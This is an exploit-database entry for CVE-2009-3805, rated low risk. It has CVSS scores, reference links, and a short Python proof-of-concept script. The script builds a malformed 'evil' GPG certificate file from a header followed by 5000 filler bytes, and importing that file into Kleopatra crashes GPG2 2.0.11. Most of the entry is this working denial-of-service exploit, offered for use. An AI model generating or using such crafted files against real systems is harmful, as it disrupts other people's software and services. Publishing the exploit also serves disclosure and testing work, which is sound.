GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

2009-10-28 / 2009-10-29

Credit: Dr_IDE

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-3805

CWE: CWE-Other

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

#!/usr/bin/env python
################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: Part of the GPG4Win Package v2.0.1
# Found By: Dr_IDE
# Tested On: 7RC, XPSP3
# Usage: Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################
# Seems to only check for the presense of this signature
cert = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);
try:
print ("[*] Creating evil GPG cert.");
f1 = open("gpg2_evil_cert.gpg","w");
f1.write(cert);
f1.close();
print ("[*] File created successfully. Import it.");
except:
print ("[-] Error.");
#[pocoftheday.blogspot.com]

References:

http://xforce.iss.net/xforce/xfdb/53908

http://www.securityfocus.com/bid/36781

http://www.packetstormsecurity.com/0910-exploits/gpg2kleo-dos.txt

See this note in RAW Version

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GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

References:

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